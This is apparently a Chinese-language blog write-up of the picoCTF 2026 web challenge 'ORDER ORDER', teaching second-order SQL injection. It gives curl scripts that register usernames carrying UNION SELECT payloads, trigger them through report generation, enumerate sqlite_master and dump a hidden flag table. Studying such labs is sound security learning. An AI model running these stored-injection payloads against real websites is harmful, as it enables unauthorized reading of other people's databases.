> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# picoCTF 2026 ORDER ORDER
- URL: https://taiwanding.com/picoctf-2026-order-order/
- Published: 2026-08-30T12:01:24.000Z
- Updated: 2026-08-30T12:01:24.000Z
- Author: Kevin Chen
- Tags: sqli, #picoCTF, CTF, CyLab Security Academy

這題是 picoCTF 2026 的 Web 題：`ORDER ORDER`。

題目描述很短：

> Can you try to get the flag from our website. I've prepared my queries everywhere! I think!

一開始看到 `prepared my queries everywhere`，直覺會想到 SQL injection，可是這題真正值得學的地方不是「看到輸入框就打一個 `' OR 1=1--`」，而是要理解：

**有些 SQL injection 不是當下爆，而是被存起來，之後才爆。**

這就是二階 SQL Injection。

## 題目資訊

- 題目：ORDER ORDER
- 分類：Web Exploitation
- 難度：Hard
- 平台：picoCTF 2026
- 題目連結：[https://learn.cylabacademy.org/library/752](https://learn.cylabacademy.org/library/752?ref=taiwanding.com)

這篇會照實際解題流程寫，重點不是背最終 payload，而是紀錄中間每一步怎麼觀察、怎麼修正、怎麼確認自己的推論。

## 什麼是二階 SQL Injection

一般的一階 SQL Injection 是：

```text
輸入 payload -> 後端立刻拿去查 SQL -> 當場看到結果或錯誤

```

例如登入框直接送：

```sql
' OR 1=1--

```

如果後端當下把它拼進 SQL，可能馬上登入成功或跳錯。

二階 SQL Injection 不太一樣：

```text
第一階段：payload 被存進資料庫
第二階段：後面某個功能把這筆資料拿出來，再拼進 SQL
第三階段：漏洞才被觸發

```

所以 payload 長得可能跟普通 SQLi 很像，但是測法不同，你不能只看註冊當下有沒有爆，還要找後面哪個功能會再次使用這個資料，

這題的「儲存點」是 `username`。

這題的「觸發點」是 `Generate Report`。

## Step 1：先做基本偵查

先設定目標：

```bash
BASE='http://crystal-peak.picoctf.net:51724'

```

抓首頁：

```bash
curl -sS -i -c cookies.txt "$BASE/" -o 00_home.http
sed -n '1,220p' 00_home.http
grep -Eoi 'href="[^"]+"|action="[^"]+"|method="[^"]+"|name="[^"]+"' 00_home.http

```

首頁可以看到：

```html
<li><a href="/signup">Sign up</a></li>
<li><a href="/login">Login</a></li>

```

先註冊一個正常帳號，登入後再看有哪些功能：

```bash
USER="u$(date +%s)"
EMAIL="$USER@test.local"
PASS="Passw0rd!"

curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" \
  -o 02_signup_post.http

curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" \
  -o 03_login_post.http

curl -sS -i -b cookies.txt -c cookies.txt "$BASE/" -o 04_authed_home.http
grep -Eoi 'href="[^"]+"|action="[^"]+"|method="[^"]+"|name="[^"]+"' 04_authed_home.http

```

登入後看到：

```html
<li><a href="/dashboard">Dashboard</a></li>
<li><a href="/expenses">Expenses</a></li>
<li><a href="/inbox">Inbox</a></li>
<li><a href="/logout">Logout</a></li>

```

接著看 `/expenses`：

```bash
curl -sS -i -b cookies.txt -c cookies.txt "$BASE/expenses" -o expenses.http
sed -n '1,260p' expenses.http

```

可以看到兩個表單：

```html
<form method="POST" action="/expenses">
  <input id="description" type="text" name="description" required>
  <input id="amount" type="number" step="0.01" name="amount" required>
  <input id="date" type="date" name="date" required>
</form>

<form method="POST" action="/generate_report">
  <button type="submit">Generate Report</button>
</form>

```

這時候我們知道至少有兩條線可以測：

- `description / amount / date` 這些 expense 欄位
- `username`，因為報表一定要知道「目前使用者是誰」

## Step 2：先產生一次正常報表

按一次 Generate Report：

```bash
curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/generate_report" -o 05_report.http
sleep 11

curl -sS -i -b cookies.txt -c cookies.txt "$BASE/inbox" -o 06_inbox.http
grep -Eoi 'href="[^"]+"' 06_inbox.http

```

Inbox 裡會出現下載點：

```text
/download_report/1

```

下載 CSV：

```bash
curl -sS -L -b cookies.txt "$BASE/download_report/1" -o normal.csv
cat normal.csv

```

結果：

```csv
description,amount,date

```

這個輸出雖然看起來很空，但其實有一個重要資訊：

**報表輸出是三欄：`description, amount, date`。**

如果後面要用 `UNION SELECT`，我們也要湊出三欄。

## Step 3：怎麼知道是 username 出問題

這是本題最關鍵的觀察。

我們不是一開始就知道 `username` 有二階注入，而是從資料流去猜：

```text
報表要查目前登入者的 expense
後端可能用 username 或 user_id 當條件
如果它用 username 拼 SQL，就可能有事

```

所以先註冊一個 username 裡只有單引號的帳號：

```bash
C=quote_test.txt
USER="qt$(date +%s)'"
EMAIL="qt$(date +%s)@t.local"
PASS="Passw0rd!"

curl -sS -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11

curl -sS -b "$C" "$BASE/inbox" -o quote_inbox.html
grep -Ei 'failed|error|unrecognized|syntax|download_report|Expense report' quote_inbox.html

```

結果出現：

```html
Report generation failed. Cause unrecognized token: "'qt1788089522''"

```

這行幾乎等於後端在跟我們說：

```text
我產生報表時，把你的 username 拿去組 SQL 了
而且你的單引號把 SQL 弄壞了

```

如果後端是安全地用 `user_id` 查資料，或是正確使用 prepared statement，這個錯誤就不應該出現，所以這一步不是在拿 flag，而是在確認：

**username 是儲存點，Generate Report 是觸發點。**

## Step 4：用 marker 證明我們可以控制輸出

接下來要從「可以讓 SQL 報錯」進到「可以控制 SQL 查詢結果」。

這時候我會放一個 marker，

marker 就是我們故意塞進去的標記，例如：

```text
VULN

```

它不是 flag，也不是特殊指令，只是用來確認資料有沒有照我們的意思流出來。

payload：

```sql
mk123' UNION SELECT 'VULN',123,'2026-01-01'--

```

完整測試：

```bash
C=marker.txt
USER="mk$(date +%s)' UNION SELECT 'VULN',123,'2026-01-01'--"
EMAIL="mk$(date +%s)@t.local"
PASS="Passw0rd!"

curl -sS -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11

curl -sS -b "$C" "$BASE/inbox" -o marker_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' marker_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o marker.csv
cat marker.csv

```

結果：

```csv
description,amount,date
VULN,123,2026-01-01

```

這個結果很重要。

它代表：

```text
我們註冊時放進 username 的 SQL
真的在 Generate Report 時被執行
而且結果被寫進 CSV

```

如果把後端 SQL 想像成這樣：

```sql
SELECT description, amount, date
FROM expenses
WHERE username = '<USERNAME>';

```

那 username 塞入 payload 後，就會變成：

```sql
SELECT description, amount, date
FROM expenses
WHERE username = 'mk123'
UNION SELECT 'VULN',123,'2026-01-01'--';

```

這裡三個符號很關鍵：

- `'`：關閉原本的 username 字串
- `UNION SELECT`：把我們自己的查詢結果接到報表結果後面
- `--`：註解掉後端原本補上的尾巴

## Step 5：從 CSV 欄位反推 UNION 欄位數

前面正常報表已經告訴我們：

```csv
description,amount,date

```

所以原本查詢大概是三欄：

```sql
SELECT description, amount, date
FROM expenses
...

```

`UNION SELECT` 的規則是：左右兩邊欄位數要一致。

所以我們的 payload 也要三欄：

```sql
UNION SELECT 'VULN',123,'2026-01-01'

```

這就是為什麼 marker 測試不是隨便寫：

```text
第一欄：放文字 VULN，對應 description
第二欄：放數字 123，對應 amount
第三欄：放日期字串，對應 date

```

如果欄位數不對，通常會看到類似：

```text
SELECTs to the left and right of UNION do not have the same number of result columns

```

但這題剛好 CSV 表頭已經把三欄提示得很清楚。

## Step 6：確認資料庫類型，枚舉資料表

錯誤訊息中出現 `unrecognized token`，加上 Python/Werkzeug 題目常見組合，這裡很像 SQLite。

SQLite 的 schema 資訊可以從 `sqlite_master` 查：

```bash
C=tables_51724.txt
USER="tb$(date +%s)' UNION SELECT name,0,'2026-01-01' FROM sqlite_master WHERE type='table'--"
EMAIL="tb$(date +%s)@t.local"
PASS="Passw0rd!"

curl -sS -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11

curl -sS -b "$C" "$BASE/inbox" -o tables_51724_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' tables_51724_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o tables_51724.csv
cat tables_51724.csv

```

結果：

```csv
description,amount,date
aDNyM19uMF9mMTRn,0,2026-01-01
expenses,0,2026-01-01
inbox,0,2026-01-01
reports,0,2026-01-01
sqlite_sequence,0,2026-01-01
users,0,2026-01-01

```

這裡可以先做一個判斷：

- `expenses`：正常業務表
- `inbox`：正常業務表
- `reports`：正常業務表
- `users`：正常業務表
- `sqlite_sequence`：SQLite 自動遞增用的系統表
- `aDNyM19uMF9mMTRn`：很可疑

CTF 題目裡，這種亂碼表名通常不是裝飾，

不過先不要直接 dump，比較穩的做法是先看 schema。

## Step 7：查 schema，確認欄位名稱

查所有 table 的 `CREATE TABLE`：

```bash
C=schema_51724.txt
USER="sc$(date +%s)' UNION SELECT sql,0,'2026-01-01' FROM sqlite_master WHERE type='table'--"
EMAIL="sc$(date +%s)@t.local"
PASS="Passw0rd!"

curl -sS -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11

curl -sS -b "$C" "$BASE/inbox" -o schema_51724_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' schema_51724_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o schema_51724.csv
cat schema_51724.csv

```

可疑表的 schema：

```sql
CREATE TABLE aDNyM19uMF9mMTRn (
  name TEXT PRIMARY KEY,
  value TEXT NOT NULL
)

```

現在資訊很完整了：

```text
可疑表：aDNyM19uMF9mMTRn
欄位：name, value
報表輸出欄位數：3

```

所以最後只要把 `name` 和 `value` 映射到報表的前兩欄，再補一個日期欄位即可。

## Step 8：dump 可疑表

payload：

```sql
dp123' UNION SELECT name,value,'2026-01-01' FROM aDNyM19uMF9mMTRn--

```

完整測試：

```bash
C=dump_51724.txt
USER="dp$(date +%s)' UNION SELECT name,value,'2026-01-01' FROM aDNyM19uMF9mMTRn--"
EMAIL="dp$(date +%s)@t.local"
PASS="Passw0rd!"

curl -sS -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11

curl -sS -b "$C" "$BASE/inbox" -o dump_51724_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' dump_51724_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o dump_51724.csv
cat dump_51724.csv

```

結果：

```csv
description,amount,date
flag,picoCTF{Redacted},2026-01-01

```

Flag：

```text
picoCTF{Redacted}

```

## 中間 SQL 是怎麼反推的

這不是憑空猜 payload，而是每一步都在問網站一個小問題：

```text
你有幾欄？
你是不是 SQLite？
你有哪些 table？
你的可疑 table 有哪些欄位？
我要怎麼把那些欄位塞回 CSV？

```

這也是為什麼 marker 很重要，如果一開始就直接查 flag，雖然可能會成功，但學不到中間的判斷能力，marker 的作用是把「我覺得有洞」變成「我可以證明自己控制到 SQL 查詢結果」。

## 學習重點

這題我覺得最值得帶走的不是 SQLite 語法，而是這個思考方式：

```text
找儲存點
找觸發點
用單引號確認 SQL 是否被污染
用 marker 確認輸出是否可控
用 schema 枚舉降低猜測
最後才查真正目標

```

以後看到這類功能時，可以特別注意：

- 註冊 username 後，哪裡會再次顯示或查詢 username？
- 商品名稱、訂單名稱、專案名稱、資料夾名稱是否會被後台報表重用？
- 匯出 CSV、PDF、Excel 時，是否會重新組 SQL？
- 管理後台搜尋、排序、報表、統計功能是否吃到使用者先前輸入的資料？

很多時候，真正有問題的不是輸入框本身，而是幾分鐘後、幾個頁面後、甚至另一個背景 worker 裡的那段查詢，這也是二階 SQL Injection 有趣的地方。

它不是一拳打在門上，而是先把東西放進系統裡，等系統自己拿出來用的時候，才發現那東西其實會改變查詢的意思。